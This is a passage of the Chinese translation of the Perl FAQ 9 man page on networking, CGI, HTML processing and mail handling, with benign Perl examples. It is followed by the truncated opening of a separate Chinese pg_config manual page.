bar. \*(C+ will give a nicer C++. Capital omega is used to .\" do unbreakable dashes and therefore won't be available. \*(C` and \*(C' .\" expand to `' in nroff, nothing in troff, for use with C<>. .tr \(*W-|\(bv\*(Tr .ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p' .ie n \{\ . ds -- \(*W- . ds PI pi . if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch . if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\" diablo 12 pitch . ds L" "" . ds R" "" . ds C` "" . ds C' "" 'br\} .el\{\ . ds -- \|\(em\| . ds PI \(*p . ds L" `` . ds R" '' 'br\} .\" .\" If the F register is turned on, we'll generate index entries on stderr for .\" titles (.TH), headers (.SH), subsections (.Sh), items (.Ip), and index .\" entries marked with X<> in POD. Of course, you'll have to process the .\" output yourself in some meaningful fashion. .if \nF \{\ . de IX . tm Index:\\$1\t\\n%\t"\\$2" .. . nr % 0 . rr F .\} .\" .\" For nroff, turn off justification. Always turn off hyphenation; it makes .\" way too many mistakes in technical documents. .hy 0 .if n .na .\" .\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2). .\" Fear. Run. Save yourself. No user-serviceable parts. . \" fudge factors for nroff and troff .if n \{\ . ds #H 0 . ds #V .8m . ds #F .3m . ds #[ \f1 . ds #] \fP .\} .if t \{\ . ds #H ((1u-(\\\\n(.fu%2u))*.13m) . ds #V .6m . ds #F 0 . ds #[ \& . ds #] \& .\} . \" simple accents for nroff and troff .if n \{\ . ds ' \& . ds ` \& . ds ^ \& . ds , \& . ds ~ ~ . ds / .\} .if t \{\ . ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u" . ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u' . ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u' . ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u' . ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u' . ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u' .\} . \" troff and (daisy-wheel) nroff accents .ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V' .ds 8 \h'\*(#H'\(*b\h'-\*(#H' .ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#] .ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H' .ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u' .ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#] .ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#] .ds ae a\h'-(\w'a'u*4/10)'e .ds Ae A\h'-(\w'A'u*4/10)'E . \" corrections for vroff .if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u' .if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u' . \" for low resolution devices (crt and lpr) .if \n(.H>23 .if \n(.V>19 \ \{\ . ds : e . ds 8 ss . ds o a . ds d- d\h'-1'\(ga . ds D- D\h'-1'\(hy . ds th \o'bp' . ds Th \o'LP' . ds ae ae . ds Ae AE .\} .rm #[ #] #H #V #F C .\" ======================================================================== .\" .IX Title "PERLFAQ9 1" .TH PERLFAQ9 7 "2003-11-25" "perl v5.8.3" "Perl Programmers Reference Guide" .SH "NAME" perlfaq9 \- 网络 (2003/01/31 17:36:57 ) .SH "DESCRIPTION 描述" .IX Header "DESCRIPTION" 网络通信,互联网以及少量有关 web 的内容 .Sh "What is the correct form of response from a \s-1CGI\s0 script?" .IX Subsection "一个 CGI 脚本的回应的正确格式是什么?" (Alan Flavell <flavell+www@a5.ph.gla.ac.uk> answers...) .PP The Common Gateway Interface (\s-1CGI\s0) specifies a software interface between a program (\*(L"\s-1CGI\s0 script\*(R") and a web server (\s-1HTTPD\s0). It is not specific to Perl, and has its own FAQs and tutorials, and usenet group, comp.infosystems.www.authoring.cgi .PP The original \s-1CGI\s0 specification is at: http://hoohoo.ncsa.uiuc.edu/cgi/ .PP Current best-practice \s-1RFC\s0 draft at: http://CGI\-Spec.Golux.Com/ .PP Other relevant documentation listed in: http://www.perl.org/CGI_MetaFAQ.html .PP These Perl FAQs very selectively cover some \s-1CGI\s0 issues. However, Perl programmers are strongly advised to use the \s-1CGI\s0.pm module, to take care of the details for them. .PP The similarity between \s-1CGI\s0 response headers (defined in the \s-1CGI\s0 specification) and \s-1HTTP\s0 response headers (defined in the \s-1HTTP\s0 specification, \s-1RFC2616\s0) is intentional, but can sometimes be confusing. .PP The \s-1CGI\s0 specification defines two kinds of script: the \*(L"Parsed Header\*(R" script, and the \*(L"Non Parsed Header\*(R" (\s-1NPH\s0) script. Check your server documentation to see what it supports. \*(L"Parsed Header\*(R" scripts are simpler in various respects. The \s-1CGI\s0 specification allows any of the usual newline representations in the \s-1CGI\s0 response (it's the server's job to create an accurate \s-1HTTP\s0 response based on it). So \*(L"\en\*(R" written in text mode is technically correct, and recommended. \s-1NPH\s0 scripts are more tricky: they must put out a complete and accurate set of \s-1HTTP\s0 transaction response headers; the \s-1HTTP\s0 specification calls for records to be terminated with carriage-return and line\-feed, i.e \s-1ASCII\s0 \e015\e012 written in binary mode. .PP Using \s-1CGI\s0.pm gives excellent platform independence, including \s-1EBCDIC\s0 systems. \s-1CGI\s0.pm selects an appropriate newline representation ($CGI::CRLF) and sets binmode as appropriate. .Sh "我的 CGI 脚本从命令行执行正常,但是在浏览器中不行 (500 Server Error)。" .IX Subsection "My CGI script runs from the command line but not the browser. (500 Server Error)" 可能有很多事错了。可以仔细阅读 \*(L"Troubleshooting Perl \s-1CGI\s0 scripts\*(R" guide, 位置是 .PP .Vb 1 \& http://www.perl.org/troubleshooting_CGI.html .Ve .PP 如果接下来,你能证明你已阅读了 FAQ 并且你的问题不是那么简单,非叁言两语即可回答的话,那麽您 post到 comp.infosystems.www.authoring.cgi上(如果是有关 HTTP 、 HTML ,或 CGI通信协定)的问题可能也会得到口气和缓而有用的答覆。表面上看似 Perl,但骨子里是 CGI之类的问题,如果 post到 comp.lang.perl.misc人家可能就不会这麽乐意地接受了。 .PP 几个实用的 FAQ,相关文档和查错向导列在 \s-1CGI\s0 Meta \s-1FAQ\s0 中: .PP .Vb 1 \& http://www.perl.org/CGI_MetaFAQ.html .Ve .Sh "如何从 CGI 程序中得到好一点的错误提示?" .IX Subsection "How can I get better error messages from a CGI program?" Use the CGI::Carp module. It replaces \f(CW\*(C`warn\*(C'\fR and \f(CW\*(C`die\*(C'\fR, plus the normal Carp modules \f(CW\*(C`carp\*(C'\fR, \f(CW\*(C`croak\*(C'\fR, and \f(CW\*(C`confess\*(C'\fR functions with more verbose and safer versions. It still sends them to the normal server error log. .PP .Vb 3 \& use CGI::Carp; \& warn "This is a complaint"; \& die "But this one is serious"; .Ve .PP The following use of CGI::Carp also redirects errors to a file of your choice, placed in a \s-1BEGIN\s0 block to catch compile-time warnings as well: .PP .Vb 6 \& BEGIN { \& use CGI::Carp qw(carpout); \& open(LOG, ">>/var/local/cgi-logs/mycgi-log") \& or die "Unable to append to mycgi-log: $!\en"; \& carpout(*LOG); \& } .Ve .PP You can even arrange for fatal errors to go back to the client browser, which is nice for your own debugging, but might confuse the end user. .PP .Vb 2 \& use CGI::Carp qw(fatalsToBrowser); \& die "Bad error here"; .Ve .PP Even if the error happens before you get the \s-1HTTP\s0 header out, the module will try to take care of this to avoid the dreaded server 500 errors. Normal warnings still go out to the server error log (or wherever you've sent them with \f(CW\*(C`carpout\*(C'\fR) with the application name and date stamp prepended. .Sh "如何将字符串中的 HTML 删除?" .IX Subsection "How do I remove HTML from a string?" 最正确(尽管不是最快)的方法是使用 HTML::Parse模组(可由 CPAN取得,是所有写 Web程式者必备的 libwww-perl 套件的一部分)。另一中最正确的办法是使用 HTML::FormatText,它不仅删除了 \s-1HTML\s0,同时也试图对结果文本进行简单的格式化。 .PP 许多人尝试用简陋的正规表示式来解决这个问题,譬如说像 \f(CW\*(C`s/<.*?>//g\*(C'\fR,但这个式子在很多情况下会失败,因为要处理的字串可能会跨越断行字元,也可能含有被 quote【跳脱】的箭头号,或有 HTML comment出现;再加上一些疏忽,譬如,人们常忘了转换如 < 的 entities(跳脱字 元\f(CW\*(C`&lt;\*(C'\fR)。 .PP 以下这个「简陋」的方法对大多数的档案都有效: .PP .Vb 2 \& #!/usr/bin/perl -p0777 \& s/<(?:[^>'"]*|(['"]).*?\e1)*>//gs .Ve .PP 如果您想要更完整的解法,请看叁部曲的 striphtml 程式, http://www.cpan.org/authors/Tom_Christiansen/scripts/striphtml.gz \&. .PP Here are some tricky cases that you should think about when picking a solution: .PP .Vb 1 \& <IMG SRC = "foo.gif" ALT = "A > B"> .Ve .PP .Vb 2 \& <IMG SRC = "foo.gif" \& ALT = "A > B"> .Ve .PP .Vb 1 \& <!-- <A comment> --> .Ve .PP .Vb 1 \& <script>if (a<b && a>c)</script> .Ve .PP .Vb 1 \& <# Just data #> .Ve .PP .Vb 1 \& <![INCLUDE CDATA [ >>>>>>>>>>>> ]]> .Ve .PP If \s-1HTML\s0 comments include other tags, those solutions would also break on text like this: .PP .Vb 3 \& <!-- This section commented out. \& <B>You can't see me!</B> \& --> .Ve .Sh "如何萃取 URL?" .IX Subsection "How do I extract URLs?" 可以简单地从 HTML 中得到所有种类的 URL,只要使用 \f(CW\*(C`HTML::SimpleLinkExtor\*(C'\fR 模块,它可以处理锚,图像,对象,桢,其他包含 URL 的标签。如果需要更复杂的东西,可以创建 \f(CW\*(C`HTML::LinkExtor\*(C'\fR 的子类或使用 \f(CW\*(C`HTML::Parser\*(C'\fR. 你甚至可以用 \&\f(CW\*(C`HTML::SimpleLinkExtor\*(C'\fR 作为范例,来书写适合你特殊需要的程序。 .PP You can use URI::Find to extract URLs from an arbitrary text document. .PP Less complete solutions involving regular expressions can save you a lot of processing time if you know that the input is simple. One solution from Tom Christiansen runs 100 times faster than most module based approaches but only extracts URLs from anchors where the first attribute is \s-1HREF\s0 and there are no other attributes. .PP .Vb 7 \& #!/usr/bin/perl -n00 \& # qxurl - tchrist@perl.com \& print "$2\en" while m{ \& < \es* \& A \es+ HREF \es* = \es* (["']) (.*?) \e1 \& \es* > \& }gsix; .Ve .Sh "如何从用户的机器上下载文件?如何打开其他机器上的文件?" .IX Subsection "How do I download a file from the user's machine? How do I open a file on another machine?" In this case, download means to use the file upload feature of \s-1HTML\s0 forms. You allow the web surfer to specify a file to send to your web server. To you it looks like a download, and to the user it looks like an upload. No matter what you call it, you do it with what's known as \fBmultipart/form\-data\fR encoding. The \s-1CGI\s0.pm module (which comes with Perl as part of the Standard Library) supports this in the \&\fIstart_multipart_form()\fR method, which isn't the same as the \fIstartform()\fR method. .PP See the section in the \s-1CGI\s0.pm documentation on file uploads for code examples and details. .Sh "如何在 HTML 添加一个弹出菜单?" .IX Subsection "How do I make a pop-up menu in HTML?" 用 <SELECT> 和 <OPTION>这两个标签。 CGI.pm模组(可由 CPAN取得)对这个 widget【此指跳出式选单这个介面成分】还有许多其他的介面成分都有支援【即有制作动态标签的函式】,其中有些是以巧妙模拟的方 式达成。 .Sh "如何获取 HTML 文件?" .IX Subsection "How do I fetch an HTML file?" 有一个方法是,如果您的系统上装有 lynx一类的文字模式的 HTML浏览器的话,那麽可以这麽做: .PP .Vb 2 \& $html_code = `lynx -source $url`; \& $text_data = `lynx -dump $url`; .Ve .PP 收录在 CPAN里的 libwww-perl (LWP)模组则提供了更强的方法来做这件事。它不但可钻过 proxies,而且也不需要 lynx: .PP .Vb 3 \& # simplest version \& use LWP::Simple; \& $content = get($URL); .Ve .PP .Vb 3 \& # or print HTML from a URL \& use LWP::Simple; \& getprint "http://www.linpro.no/lwp/"; .Ve .PP .Vb 11 \& # or print ASCII from HTML from a URL \& # also need HTML-Tree package from CPAN \& use LWP::Simple; \& use HTML::Parser; \& use HTML::FormatText; \& my ($html, $ascii); \& $html = get("http://www.perl.com/"); \& defined $html \& or die "Can't fetch HTML from http://www.perl.com/"; \& $ascii = HTML::FormatText->new->format(parse_html($html)); \& print $ascii; .Ve .Sh "如何根据提交的内容自动生成一个 HTML ?" .IX Subsection "How do I automate an HTML form submission?" If you're submitting values using the \s-1GET\s0 method, create a \s-1URL\s0 and encode the form using the \f(CW\*(C`query_form\*(C'\fR method: .PP .Vb 2 \& use LWP::Simple; \& use URI::URL; .Ve .PP .Vb 3 \& my $url = url('http://www.perl.com/cgi-bin/cpan_mod'); \& $url->query_form(module => 'DB_File', readme => 1); \& $content = get($url); .Ve .PP If you're using the \s-1POST\s0 method, create your own user agent and encode the content appropriately. .PP .Vb 2 \& use HTTP::Request::Common qw(POST); \& use LWP::UserAgent; .Ve .PP .Vb 4 \& $ua = LWP::UserAgent->new(); \& my $req = POST 'http://www.perl.com/cgi-bin/cpan_mod', \& [ module => 'DB_File', readme => 1 ]; \& $content = $ua->request($req)->as_string; .Ve .Sh "如何解码或创建 web 中的 %-encoding?" .IX Subsection "How do I decode or create those %-encodings on the web?" If you are writing a \s-1CGI\s0 script, you should be using the \s-1CGI\s0.pm module that comes with perl, or some other equivalent module. The \s-1CGI\s0 module automatically decodes queries for you, and provides an \fIescape()\fR function to handle encoding. .PP The best source of detailed information on \s-1URI\s0 encoding is \s-1RFC\s0 2396. Basically, the following substitutions do it: .PP .Vb 1 \& s/([^\ew()'*~!.-])/sprintf '%%%02x', ord $1/eg; # encode .Ve .PP .Vb 1 \& s/%([A-Fa-f\ed]{2})/chr hex $1/eg; # decode .Ve .PP However, you should only apply them to individual \s-1URI\s0 components, not the entire \s-1URI\s0, otherwise you'll lose information and generally mess things up. If that didn't explain it, don't worry. Just go read section 2 of the \s-1RFC\s0, it's probably the best explanation there is. .PP \&\s-1RFC\s0 2396 also contains a lot of other useful information, including a regexp for breaking any arbitrary \s-1URI\s0 into components (Appendix B). .Sh "如何重定向到其他页面?" .IX Subsection "How do I redirect to another page?" Specify the complete \s-1URL\s0 of the destination (even if it is on the same server). This is one of the two different kinds of \s-1CGI\s0 \*(L"Location:\*(R" responses which are defined in the \s-1CGI\s0 specification for a Parsed Headers script. The other kind (an absolute URLpath) is resolved internally to the server without any \s-1HTTP\s0 redirection. The \s-1CGI\s0 specifications do not allow relative URLs in either case. .PP Use of \s-1CGI\s0.pm is strongly recommended. This example shows redirection with a complete \s-1URL\s0. This redirection is handled by the web browser. .PP .Vb 1 \& use CGI qw/:standard/; .Ve .PP .Vb 2 \& my $url = 'http://www.cpan.org/'; \& print redirect($url); .Ve .PP This example shows a redirection with an absolute URLpath. This redirection is handled by the local web server. .PP .Vb 2 \& my $url = '/CPAN/index.html'; \& print redirect($url); .Ve .PP But if coded directly, it could be as follows (the final \*(L"\en\*(R" is shown separately, for clarity), using either a complete \s-1URL\s0 or an absolute URLpath. .PP .Vb 2 \& print "Location: $url\en"; # CGI response header \& print "\en"; # end of headers .Ve .Sh "如何为我的网页加上密码?" .IX Subsection "How do I put a password on my web pages?" 要启用 web 服务器的验证,你需要配置你的 web 服务器,不同的服务器有不同的方法\-\-\-apache 与 iPlanet 不同,后者又与 \s-1IIS\s0 不同。从你的 web 服务器的文档中查找特定服务器的配置细节。 .Sh "如何用 Perl 修改我的 .htpasswd 和 .htgroup 文件?" .IX Subsection "How do I edit my .htpasswd and .htgroup files with Perl?" HTTPD::UserAdmin 和 HTTPD::GroupAdmin 等模组为这些档案提供了统一的物件导向介面,尽管这些档案可能以各种不同的格式储存。这些资料库可能是纯文字格式、 dbm、Berkeley DB或任何 DBI相容的资料库驱动程式 (drivers)。 HTTPD::UserAdmin支援`Basic' 和 `Digest'这两个认证模式所用的档案。以下是 一例: .PP .Vb 4 \& use HTTPD::UserAdmin (); \& HTTPD::UserAdmin \& ->new(DB => "/foo/.htpasswd") \& ->add($username => $password); .Ve .Sh "如何确保用户不会在表单中输入使我的 CGI 脚本作坏事的值?" .IX Subsection "How do I make sure users can't enter values into a form that cause my CGI script to do bad things?" 阅读 \s-1CGI\s0 Meta \s-1FAQ\s0 列出的安全索引 .PP .Vb 1 \& http://www.perl.org/CGI_MetaFAQ.html .Ve .Sh "如何解释一个邮件头?" .IX Subsection "How do I parse a mail header?" 要使用一个快速的方法,可以这样使用 perlfunc 中的 \*(L"split\*(R" 函数: .PP .Vb 4 \& $/ = ''; \& $header = <MSG>; \& $header =~ s/\en\es+/ /g; # 将延续行合并成单行 \& %head = ( UNIX_FROM_LINE, split /^([-\ew]+):\es*/m, $header ); .Ve .PP 但是,如果您若想保留所有 Received栏位资料的话【因 Received 栏位通常不止一个】,这个解法便不太行了。一个完整的解法是使用收录在 CPAN的 Mail::Header 模组( MailTools 套件的一部分)。 .Sh "如何解码一个 CGI 表单?" .IX Subsection "How do I decode a CGI form?" 使用标准模块,应该是 \s-1CGI\s0.pm。没有理由去尝试手动去做! .PP 你大概都看过一大堆从 STDIN 读取与 $ENV{CONTENT_LENGTH} 长度相同的字节,或者获取 $ENV{QUERY_STRING} 来解码 GET。这些程序都非常糟糕。他们仅在某些时候工作。他们通常不检查 read() 的返回值,这是主要的错误。他们不处理 \s-1HEAD\s0 请求。他们不处理文件上载时的多成分表单。They don't deal with \s-1GET/POST\s0 combinations where query fields are in more than one place. They don't deal with keywords in the query string. .PP In short, they're bad hacks. Resist them at all costs. Please do not be tempted to reinvent the wheel. Instead, use the \s-1CGI\s0.pm or CGI_Lite.pm (available from \s-1CPAN\s0), or if you're trapped in the module-free land of perl1 .. perl4, you might look into cgi\-lib.pl (available from http://cgi\-lib.stanford.edu/cgi\-lib/ ). .PP Make sure you know whether to use a \s-1GET\s0 or a \s-1POST\s0 in your form. GETs should only be used for something that doesn't update the server. Otherwise you can get mangled databases and repeated feedback mail messages. The fancy word for this is ``idempotency''. This simply means that there should be no difference between making a \s-1GET\s0 request for a particular \s-1URL\s0 once or multiple times. This is because the \&\s-1HTTP\s0 protocol definition says that a \s-1GET\s0 request may be cached by the browser, or server, or an intervening proxy. \s-1POST\s0 requests cannot be cached, because each request is independent and matters. Typically, \&\s-1POST\s0 requests change or depend on state on the server (query or update a database, send mail, or purchase a computer). .Sh "如何检测一个有效的邮件地址?" .IX Subsection "How do I check a valid mail address?" 没有办法。至少,没有可行的办法。 .PP 如果没有寄封信到一个位址去试试看它会不会弹回来(即使是这麽做您还得面对停顿的问题),您是无法确定一个位址是否真的存在的。即使您套用 email 标头的标准规格来做检查的依据,您还是有可能会遇到问题,因为有些送得到的位址并不 符合 RFC-822(电子邮件标头的标准)的规定,但有些符合标准的位址却无法投 递。 .PP You can use the Email::Valid or RFC::RFC822::Address which check the format of the address, although they cannot actually tell you if it is a deliverable address (i.e. that mail to the address will not bounce). Modules like Mail::CheckUser and Mail::EXPN try to interact with the domain name system or particular mail servers to learn even more, but their methods do not work everywhere\-\-\-especially for security conscious administrators. .PP 许多人试图用一个简单的正规表示式,例如 \f(CW\*(C`/^[\ew.\-]+\e@(?:[\ew\-]+\e.)+\ew+$/\*(C'\fR 来消除一些通常是无效的 email 位址。不过,这样做也把很多合格的位址给一起滤掉了,而且对测试一个位址有没有希望投递成功完全没有帮助,所以在此建议大家不要这麽做;不过您可以看看: http://www.cpan.org/authors/Tom_Christiansen/scripts/ckaddr.gz , 这个 script真的彻底地依据所有的 RFC规定来做检验(除了内嵌式 comments外),同时会排除一些您可能不会想送信去的位址(如 Bill Clinton【美国总统】或您的 postmaster),然後它会确定位址中的主机名称可在 DNS中找得到。这个 script 跑起来不是很快,但至少有效。 .PP Our best advice for verifying a person's mail address is to have them enter their address twice, just as you normally do to change a password. This usually weeds out typos. If both versions match, send mail to that address with a personal message that looks somewhat like: .PP .Vb 1 \& Dear someuser@host.com, .Ve .PP .Vb 5 \& Please confirm the mail address you gave us Wed May 6 09:38:41 \& MDT 1998 by replying to this message. Include the string \& "Rumpelstiltskin" in that reply, but spelled in reverse; that is, \& start with "Nik...". Once this is done, your confirmed address will \& be entered into our records. .Ve .PP If you get the message back and they've followed your directions, you can be reasonably assured that it's real. .PP A related strategy that's less open to forgery is to give them a \s-1PIN\s0 (personal \s-1ID\s0 number). Record the address and \s-1PIN\s0 (best that it be a random one) for later processing. In the mail you send, ask them to include the \s-1PIN\s0 in their reply. But if it bounces, or the message is included via a ``vacation'' script, it'll be there anyway. So it's best to ask them to mail back a slight alteration of the \s-1PIN\s0, such as with the characters reversed, one added or subtracted to each digit, etc. .Sh "如何解码一个 MIME/BASE64 字符串?" .IX Subsection "How do I decode a MIME/BASE64 string?" MIME-tools套件(可自 CPAN取得)不但可处理这个问题而且有许多其他的功能。有了这个套件,解 BASE64码就变得像这麽容易: .PP .Vb 2 \& use MIME::Base64; \& $decoded = decode_base64($encoded); .Ve .PP The MIME-Tools package (available from \s-1CPAN\s0) supports extraction with decoding of \s-1BASE64\s0 encoded attachments and content directly from email messages. .PP 一个比较直接的解法是先做一点简单的转译,然後使用 unpack()这个函数的 ``u'' 格式: .PP .Vb 4 \& tr#A-Za-z0-9+/##cd; # remove non-base64 chars \& tr#A-Za-z0-9+/# -_#; # convert to uuencoded format \& $len = pack("c", 32 + 0.75*length); # compute length byte \& print unpack("u", $len . $_); # uudecode and print .Ve .Sh "如何返回用户的邮件地址?" .IX Subsection "How do I return the user's mail address?" On systems that support getpwuid, the $< variable, and the Sys::Hostname module (which is part of the standard perl distribution), you can probably try using something like this: .PP .Vb 2 \& use Sys::Hostname; \& $address = sprintf('%s@%s', scalar getpwuid($<), hostname); .Ve .PP Company policies on mail address can mean that this generates addresses that the company's mail system will not accept, so you should ask for users' mail addresses when this matters. Furthermore, not all systems on which Perl runs are so forthcoming with this information as is Unix. .PP The Mail::Util module from \s-1CPAN\s0 (part of the MailTools package) provides a \&\fImailaddress()\fR function that tries to guess the mail address of the user. It makes a more intelligent guess than the code above, using information given when the module was installed, but it could still be incorrect. Again, the best way is often just to ask the user. .Sh "如何发邮件?" .IX Subsection "How do I send mail?" Use the \f(CW\*(C`sendmail\*(C'\fR program directly: .PP .Vb 6 \& open(SENDMAIL, "|/usr/lib/sendmail -oi -t -odq") \& or die "Can't fork for sendmail: $!\en"; \& print SENDMAIL <<"EOF"; \& From: User Originating Mail <me\e@host> \& To: Final Destination <you\e@otherhost> \& Subject: A relevant subject line .Ve .PP .Vb 4 \& Body of the message goes here after the blank line \& in as many lines as you like. \& EOF \& close(SENDMAIL) or warn "sendmail didn't close nicely"; .Ve .PP The \fB\-oi\fR option prevents sendmail from interpreting a line consisting of a single dot as \*(L"end of message\*(R". The \fB\-t\fR option says to use the headers to decide who to send the message to, and \fB\-odq\fR says to put the message into the queue. This last option means your message won't be immediately delivered, so leave it out if you want immediate delivery. .PP Alternate, less convenient approaches include calling mail (sometimes called mailx) directly or simply opening up port 25 have having an intimate conversation between just you and the remote \s-1SMTP\s0 daemon, probably sendmail. .PP Or you might be able use the \s-1CPAN\s0 module Mail::Mailer: .PP .Vb 1 \& use Mail::Mailer; .Ve .PP .Vb 8 \& $mailer = Mail::Mailer->new(); \& $mailer->open({ From => $from_address, \& To => $to_address, \& Subject => $subject, \& }) \& or die "Can't open: $!\en"; \& print $mailer $body; \& $mailer->close(); .Ve .PP The Mail::Internet module uses Net::SMTP which is less Unix-centric than Mail::Mailer, but less reliable. Avoid raw \s-1SMTP\s0 commands. There are many reasons to use a mail transport agent like sendmail. These include queuing, \s-1MX\s0 records, and security. .Sh "如何使用 MIME 来为邮件消息增加附件?" .IX Subsection "How do I use MIME to make an attachment to a mail message?" This answer is extracted directly from the MIME::Lite documentation. Create a multipart message (i.e., one with attachments). .PP .Vb 1 \& use MIME::Lite; .Ve .PP .Vb 8 \& ### Create a new multipart message: \& $msg = MIME::Lite->new( \& From =>'me@myhost.com', \& To =>'you@yourhost.com', \& Cc =>'some@other.com, some@more.com', \& Subject =>'A message with 2 parts...', \& Type =>'multipart/mixed' \& ); .Ve .PP .Vb 8 \& ### Add parts (each "attach" has same arguments as "new"): \& $msg->attach(Type =>'TEXT', \& Data =>"Here's the GIF file you wanted" \& ); \& $msg->attach(Type =>'image/gif', \& Path =>'aaa000123.gif', \& Filename =>'logo.gif' \& ); .Ve .PP .Vb 1 \& $text = $msg->as_string; .Ve .PP MIME::Lite also includes a method for sending these things. .PP .Vb 1 \& $msg->send; .Ve .PP This defaults to using sendmail but can be customized to use \&\s-1SMTP\s0 via Net::SMTP. .Sh "如何读邮件?" .IX Subsection "How do I read mail?" While you could use the Mail::Folder module from \s-1CPAN\s0 (part of the MailFolder package) or the Mail::Internet module from \s-1CPAN\s0 (part of the MailTools package), often a module is overkill. Here's a mail sorter. .PP .Vb 1 \& #!/usr/bin/perl .Ve .PP .Vb 13 \& my(@msgs, @sub); \& my $msgno = -1; \& $/ = ''; # paragraph reads \& while (<>) { \& if (/^From /m) { \& /^Subject:\es*(?:Re:\es*)*(.*)/mi; \& $sub[++$msgno] = lc($1) || ''; \& } \& $msgs[$msgno] .= $_; \& } \& for my $i (sort { $sub[$a] cmp $sub[$b] || $a <=> $b } (0 .. $#msgs)) { \& print $msgs[$i]; \& } .Ve .PP Or more succinctly, .PP .Vb 6 \& #!/usr/bin/perl -n00 \& # bysub2 - awkish sort-by-subject \& BEGIN { $msgno = -1 } \& $sub[++$msgno] = (/^Subject:\es*(?:Re:\es*)*(.*)/mi)[0] if /^From/m; \& $msg[$msgno] .= $_; \& END { print @msg[ sort { $sub[$a] cmp $sub[$b] || $a <=> $b } (0 .. $#msg) ] } .Ve .Sh "如何找到我的主机名/域名/IP 地址?" .IX Subsection "How do I find out my hostname/domainname/IP address?" 长久以来许多 code都很草率地直接呼叫 `hostname` 这个程式来取得主机名。虽然这麽做很方便,但也同时增加了移植到其他平台上的困难。这是一个很典型的例子,在方便和可移植性之间作抉择,不论选哪一边,必须付出一些牺牲和代价。 .PP Sys::Hostname这个模组(标准 perl发行的一部分)可用来取得机器的名字,然後您便可利用 gethostbyname()这个系统呼叫来找出该机的 IP位址了(假定您的 DNS 运作正常)。 .PP .Vb 4 \& use Socket; \& use Sys::Hostname; \& my $host = hostname(); \& my $addr = inet_ntoa(scalar gethostbyname($host || 'localhost')); .Ve .PP 至少在 Unix 底下,取得 DNS网域名最简单的方法大概要算是直接从 /etc/resolv.conf 这个档案里面找。当然,这麽做的前提是 resolv.conf 这个档案的设定必须照惯例的格式,还有就是这个档案必先存在才行。 .PP (Perl在非 Unix系统下尚需要一有效的方法来测出机器和网域名) .Sh "如何获取一篇新闻文章或活动的新闻组?" .IX Subsection "How do I fetch a news article or the active newsgroups?" 使用 Net::NNTP或 News::NNTPClient模组,两者皆可自 CPAN下载。这些模组让抓群组名录这类的差事变得这麽容易: .PP .Vb 2 \& perl -MNews::NNTPClient \& -e 'print News::NNTPClient->new->list("newsgroups")' .Ve .Sh "如何获取/上传一个 FTP 文件?" .IX Subsection "How do I fetch/put an FTP file?" LWP::Simple模组(可自 CPAN下载)可以抓,但不能上传档案。 Net::FTP模组(也可自 CPAN下载)虽比较复杂,但可用来上传、也能抓档案。 .Sh "如何进行远程过程调用 RPC ?" .IX Subsection "How can I do RPC in Perl?" 模块 \s-1DCE::RPC\s0 正在开发中 (但是还不可用),将成为 DCE-Perl 包 (可以从 CPAN 下载) 的一部分。rpcgen 套件,可以从 CPAN/authors/id/JAKE/ 找到,是一个 \s-1RPC\s0 存根生成器,包含一个 \s-1RPC::ONC\s0 模块。 .SH "AUTHOR AND COPYRIGHT" .IX Header "AUTHOR AND COPYRIGHT" Copyright (c) 1997\-2002 Tom Christiansen and Nathan Torkington. All rights reserved. .PP This documentation is free; you can redistribute it and/or modify it under the same terms as Perl itself. .PP Irrespective of its distribution, all code examples in this file are hereby placed into the public domain. You are permitted and encouraged to use this code in your own programs for fun or for profit as you see fit. A simple comment in the code giving credit would be courteous but is not required. .SH "译者" .B 萧百龄,两只老虎工作室
sec-knowleage
.\" auto-generated by docbook2man-spec $Revision: 1.1 $ .TH "PG_CONFIG" "1" "2003-11-02" "Application" "PostgreSQL Server Applications" .SH NAME pg_config \- 检索已安装版本的 PostgreSQL 的信息 .SH SYNOPSIS .sp pg_config {--bindir | --includedir | --includedir-server | --libdir | --pkglibdir | --configure | --version...} .SH "DESCRIPTION 描述" .PP \fBpg_config\fR 工具打印当前安装的 PostgreSQL版本配置参数。 它可以用于那些希望与 PostgreSQL 相联接的软件包,这样可以通过它找到相对应的头文件和库。 .SH "OPTIONS 选项" .PP 要使用 pg_config,使用下面的一个或者多个选项: .TP --bindir 打印用户可执行文件的路径。比如,可以用这个找 psql 程序。 通常这也是 pg_config 程序存在的路径。 .TP --includedir 打印 C 头文件的路径。 .TP --includedir-server 打印那些做服务器编程时使用的 C 头文件的位置。 .TP --libdir 打印目标代码库的路径。 .TP --pkglibdir 打印动态装载的模块的位置,或者服务器在哪里寻找他们。 (其它体系相关的数据文件可能也放在这个目录里。) .TP --configure 打印我们配置和制作 PostgreSQL 时给 configure 脚本用的选项, 或者找出二进制包是用哪些选项制作的。(不过请注意二进制包通常包含供应商提供的补丁。) .TP --version 打印 PostgreSQL 的版本并退出。 .PP .PP 如果给出多于一个选项(除了 